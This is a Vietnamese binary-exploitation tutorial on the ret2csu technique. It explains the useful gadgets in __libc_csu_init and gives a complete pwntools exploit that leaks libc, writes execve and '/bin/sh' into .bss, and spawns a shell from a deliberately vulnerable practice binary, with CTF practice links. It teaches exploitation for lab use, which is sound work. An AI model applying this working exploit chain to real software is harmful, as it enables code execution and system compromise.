0x1 Overview #

Khi một file ELF được thực thi, ít nhất chúng ta đã biết được chương trình không phải bắt đầu ngay từ hàm main(), mà là từ một số hàm như _start() hay __libc_start_main(). Mục đích của chúng nhằm khởi tạo các giá trị môi trường, load thông tin về những secction khi được thực thi cũng như khi kết thúc chương trình.

Chúng ta có thể quan sát thứ tự thực hiện các hàm khi thực thi chương trình ở đây

Untitled

Điều làm chúng ta quan tâm nhất đó chính là hàm __libc_csu_init(). Quan sát mã assembly hàm này, ta thấy có những gadget rất thú vị

<__libc_csu_init+0>:     endbr64
<__libc_csu_init+4>:     push   r15
<__libc_csu_init+6>:     lea    r15,[rip+0x2c53]        
<__libc_csu_init+13>:    push   r14
<__libc_csu_init+15>:    mov    r14,rdx
<__libc_csu_init+18>:    push   r13
<__libc_csu_init+20>:    mov    r13,rsi
<__libc_csu_init+23>:    push   r12
<__libc_csu_init+25>:    mov    r12d,edi
<__libc_csu_init+28>:    push   rbp
<__libc_csu_init+29>:    lea    rbp,[rip+0x2c44]        
<__libc_csu_init+36>:    push   rbx
<__libc_csu_init+37>:    sub    rbp,r15
<__libc_csu_init+40>:    sub    rsp,0x8
<__libc_csu_init+44>:    call   0x401000 <_init>
<__libc_csu_init+49>:    sar    rbp,0x3
<__libc_csu_init+53>:    je     0x401206 <__libc_csu_init+86>
<__libc_csu_init+55>:    xor    ebx,ebx                         
<__libc_csu_init+57>:    nop    DWORD PTR [rax+0x0]
<__libc_csu_init+64>:    mov    rdx,r14                         ; Gadget 2
<__libc_csu_init+67>:    mov    rsi,r13
<__libc_csu_init+70>:    mov    edi,r12d
<__libc_csu_init+73>:    call   QWORD PTR [r15+rbx*8]
<__libc_csu_init+77>:    add    rbx,0x1
<__libc_csu_init+81>:    cmp    rbp,rbx
<__libc_csu_init+84>:    jne    0x4011f0 <__libc_csu_init+64>
<__libc_csu_init+86>:    add    rsp,0x8
<__libc_csu_init+90>:    pop    rbx                             ; Gadget 1
<__libc_csu_init+91>:    pop    rbp
<__libc_csu_init+92>:    pop    r12
<__libc_csu_init+94>:    pop    r13
<__libc_csu_init+96>:    pop    r14
<__libc_csu_init+98>:    pop    r15
<__libc_csu_init+100>:   ret

Nếu như ta chain Gadget 1 với Gadget 2, ta có thể kiểm soát được giá trị cho các thanh ghi quan trọng như rbx, rbp, edi, rsi, rdx. Cũng như có thể call được địa chỉ ở r15. Để đơn giản, ta sẽ đặt rbx = 0.

Điều đặc biệt, ta có thể quay lại chương trình nhờ đoạn mã sau

<__libc_csu_init+77>:    add    rbx,0x1
<__libc_csu_init+81>:    cmp    rbp,rbx
<__libc_csu_init+84>:    jne    0x4011f0 <__libc_csu_init+64>

🔥 Vì sức mạnh tuyệt đối của kỹ thuật này, nó đã bị xóa ở các phiên bản Glibc 2.34 https://sourceware.org/legacy-ml/libc-alpha/2018-06/msg00717.html

0x2 Demo #

File: https://github.com/Hellsender01/Youtube/blob/main/Binary Exploitation/B. Ret2CSU/ret2csu

Dễ thấy bài này có lỗ hổng BOF ở hàm vuln()

ssize_t vuln()
{
    char buf[48]; // [rsp+0h] [rbp-30h] BYREF

    write(1, szEnterData, 0xDuLL);
    return read(0, buf, 300uLL);
}

Full exploit

from pwn import *
import time 

context.binary = elf = ELF("./ret2csu")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p = process(elf.path)

poprdi  = 0x401213
poprsi  = 0x401211
gadget1 = 0x40120a
gadget2 = 0x4011f0

# write(1, &write, 8)
payload = b"x" * 56 + p64(gadget1)
payload += p64(0) + p64(0x1) + p64(0x1) + p64(elf.got["write"]) + p64(0x8) + p64(elf.got["write"])
payload += p64(gadget2)
payload += p64(0xdeadbeef) * 7 + p64(elf.symbols["vuln"])

p.sendafter(b"Enter Data - ", payload)

libcleak = u64(p.recv(8)) 
libc_base = libcleak - libc.symbols["write"]
log.info(f"libc leak: {hex(libcleak)}")
log.info(f"libc base: {hex(libc_base)}")

# read(0, &bss, 0x100) ; bss: &execve 
payload = b"x" * 56 + p64(gadget1)
payload += p64(0) + p64(0x1) + p64(0) + p64(elf.bss()) + p64(0x100) + p64(elf.got["read"])
payload += p64(gadget2)
payload += p64(0xabcd) * 7 + p64(elf.symbols["vuln"])

p.sendafter(b"Enter Data - ", payload)
time.sleep(1)
p.send(p64(libc_base + libc.symbols["execve"]))

# read(0, &bss+10, 0x100) ; bss + 0x20: "/bin/sh\x00" 
payload = b"x" * 56 + p64(gadget1)
payload += p64(0) + p64(0x1) + p64(0) + p64(elf.bss() + 0x20) + p64(0x100) + p64(elf.got["read"])
payload += p64(gadget2)
payload += p64(0x1234) * 7 + p64(elf.symbols["vuln"])

p.sendafter(b"Enter Data - ", payload)
time.sleep(1)
p.send(b"/bin/sh\x00")

# execve(&"/bin/sh", 0, 0) 
payload = b"x" * 56 + p64(gadget1)
payload += p64(0) + p64(0x1) + p64(elf.bss() + 0x20) + p64(0) + p64(0) + p64(elf.bss())
payload += p64(gadget2)

p.sendafter(b"Enter Data - ", payload)

p.interactive() 

0x3 Practice #

  1. babyrop DiceCTF 2021
    • https://github.com/dicegang/dicectf-2021-challenges/tree/master/pwn/babyrop
    • https://ptr-yudai.hatenablog.com/entry/2021/02/11/135521#pwn-116pts-babyrop-163-solves
  2. https://ropemporium.com/challenge/ret2csu.html

0x4 References #

  1. https://i.blackhat.com/briefings/asia/2018/asia-18-Marco-return-to-csu-a-new-method-to-bypass-the-64-bit-Linux-ASLR-wp.pdf
  2. https://gist.github.com/kaftejiman/a853ccb659fc3633aa1e61a9e26266e9
  3. https://hackmd.io/@whoisthatguy/ret2csu#ret2csu—alternative-way-to-bypass-ASLR
  4. https://xz.aliyun.com/t/4068
  5. https://github.com/nushosilayer8/pwn/tree/master/ret2_csu_init